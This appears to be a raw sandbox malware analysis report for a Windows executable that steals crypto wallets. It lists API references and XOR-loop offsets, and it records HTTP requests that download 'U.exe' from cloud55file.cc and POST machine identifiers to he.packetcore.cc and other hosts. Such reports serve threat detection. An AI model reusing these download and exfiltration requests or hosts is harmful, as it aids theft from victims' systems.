(eager) [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference "exit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp")2c:T3eed,Contains base64 string in header "uwnCyi3noMJXk1ERG0aq" in header "GET /list?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET /list?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "neuralpulsecore5" in header "GET /list?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "uwnCyi3noMJXk1ERG0aq" in header "GET /doero?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET /doero?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "neuralpulsecore5" in header "GET /doero?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: neuralpulsecore5.sbs" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: api.myip.com" Contains base64 string in header "myip" in header "GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: api.myip.com" Contains base64 string in header "Keep" in header "GET /load/os1/U.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: cloud55file.cc" Contains base64 string in header "Keep" in header "GET /VAVCrfcP6SNX HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "3000" in header "GET /VAVCrfcP6SNX HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "kosmicheskoe" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "prostranstvo" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "razvlechenie" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "500x" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "Keep" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "img3" in header "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: img3.akspic.ru" Contains base64 string in header "Keep" in header "GET /ROd2inDJxInR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "3000" in header "GET /ROd2inDJxInR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38Host: 95.85.239.146:3000" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "2tzGRVgvmiPmt5pg" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "L9w6v3kfyiDZA5AX" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1e7a" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "4ff8" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "8004" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /_bMU~2tzGRVgvmiPmt5pg-~nl-fve-R HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AX-Lid: 178003325734DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "7b9a" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "A7u2G359" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /MCle.7b9a-Ud-85PFWw~-6-y~JS.A7u2G359 HTTP/1.1Host: he.packetcore.ccContent-Type: application/octet-streamX-Request-ID: 9xjAV2_L9w6v3kfyiDZA5AConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36"2d:T48b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Found Crypto currency wallets related strings Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match - ChaCha20 encryption algorithm2e:T3105,Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 128783; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 128902; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1158738; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1163218; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1163602; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1165862; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1411765; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1508518; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1535683; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1581158; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1625975; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1641539; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1740227; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2079900; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2296803; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2309117; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2311225; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2317315; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2485857; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2508569; code bytes = 30d0 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 394114; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 394248; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1090549; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1150853; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1171589; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1188657; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1228465; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1240647; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1271089; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1304848; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1312471; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1381736; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1382376; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1385606; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1388487; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1482655; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1512977; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1623751; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1625543; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2291575; code bytes = 33c1 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 568783; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 568804; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 568848; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 568887; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 568900; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 797520; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 931209; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 943409; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 969285; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1038480; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1057847; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1101242; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 1187228; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2227860; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2288622; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2304476; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2304932; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2305324; code bytes = 8030 Found XOR loop in file 